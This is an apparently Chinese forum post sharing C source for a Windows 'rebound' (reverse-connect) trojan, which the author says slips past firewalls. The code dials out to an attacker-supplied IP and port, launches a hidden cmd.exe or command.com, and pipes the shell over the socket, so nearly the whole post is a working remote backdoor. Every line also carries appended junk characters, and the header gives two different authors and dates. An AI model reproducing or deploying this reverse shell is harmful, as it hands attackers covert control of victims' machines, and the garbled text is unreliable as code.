这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eXLdb-
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/* ============================== fo9V&NE
Rebound port in Windows NT `J{{E,y
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By wind,2006/7 h,fahbH-
===============================*/ :Xx7':5
#include -=u9>S)!c
#include #H8QX5b)
^#w9!I{4.
#pragma comment(lib,"wsock32.lib") JV2[jo}0N
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void OutputShell(); MpJ3*$Dr
SOCKET sClient; E%f!SD
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $S/WAw,/
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void main(int argc,char **argv) b!EqYT
{ v,3}YDu
WSADATA stWsaData; sv\=/F@n
int nRet; NfCo)C-t
SOCKADDR_IN stSaiClient,stSaiServer; O]25{L
I|/|\
if(argc != 3) eNFA.*p<
{ 85FzIX-F%
printf("Useage:\n\rRebound DestIP DestPort\n"); ^(qR({cX
return; BSEP*#s
} Bq,Pk5b
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WSAStartup(MAKEWORD(2,2),&stWsaData); ZGd7e.u=
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yzGBGC
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stSaiClient.sin_family = AF_INET; +sd':vE
stSaiClient.sin_port = htons(0); U!lWP#m
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R~dWblv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ar`}+2Qh0
{ 'HWPuWW
printf("Bind Socket Failed!\n"); 0+rBGk
return; @]],H0
} M!PK3
t |:XSJ9
stSaiServer.sin_family = AF_INET; ^g+M=jq _
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ef:Zi_o
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !-B|x0fs
}OgZZ8-_M
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ab_EH}j1\q
{ vb\R~%@T,
printf("Connect Error!"); A1jA$
return; V#DNcF~v]f
} O;#0Yg
OutputShell(); "[ >ql1t{b
} Op iVQr:
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void OutputShell() ixF
{ 0 n)UvJ
char szBuff[1024]; 6"bdbV=t
SECURITY_ATTRIBUTES stSecurityAttributes; Hg[AulNna
OSVERSIONINFO stOsversionInfo; ~</H>Jd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <QK2Wc_}-"
STARTUPINFO stStartupInfo; 4e|(= W`
char *szShell; }M(XHw
PROCESS_INFORMATION stProcessInformation; yjChnp
Cc
unsigned long lBytesRead; zhACNz4tJ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SciEHI#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VZU@G)rd
stSecurityAttributes.lpSecurityDescriptor = 0; wOl]N2<
stSecurityAttributes.bInheritHandle = TRUE; iM{aRFL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \XG\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u|&a!tOf2
5'"9)#Ve
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #tt*yOmiH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |w`Q$ c
stStartupInfo.wShowWindow = SW_HIDE; tp +H]H3
stStartupInfo.hStdInput = hReadPipe; [V,f@}m
F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x):h|/B
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GetVersionEx(&stOsversionInfo); OQsF$%*
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switch(stOsversionInfo.dwPlatformId) ;e^`r;]
{ WcE/,<^*
case 1: 2-u9%
szShell = "command.com"; f(*^zga,
break; )}R
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default: Q-f?7*>
szShell = "cmd.exe"; Gn?<~8a
break; iED
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} gA DF
" [K>faV
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Hz3KoO &
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send(sClient,szMsg,77,0);
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while(1) 8|\?imOp\[
{ t9m08K:Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t>(}LV.
if(lBytesRead) NT [~AK9M
{ LD)P.
f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xw&N[y5
send(sClient,szBuff,lBytesRead,0); {vAv ;m
} o51jw(wO
else EEO)b_(
{ ioS(;2F
lBytesRead=recv(sClient,szBuff,1024,0); ^
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if(lBytesRead<=0) break; r4Jc9Tvd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y**|e4
} +`~6Weay
} y8=H+Y
*Nh[T-y(s
return; qCgoB 0
}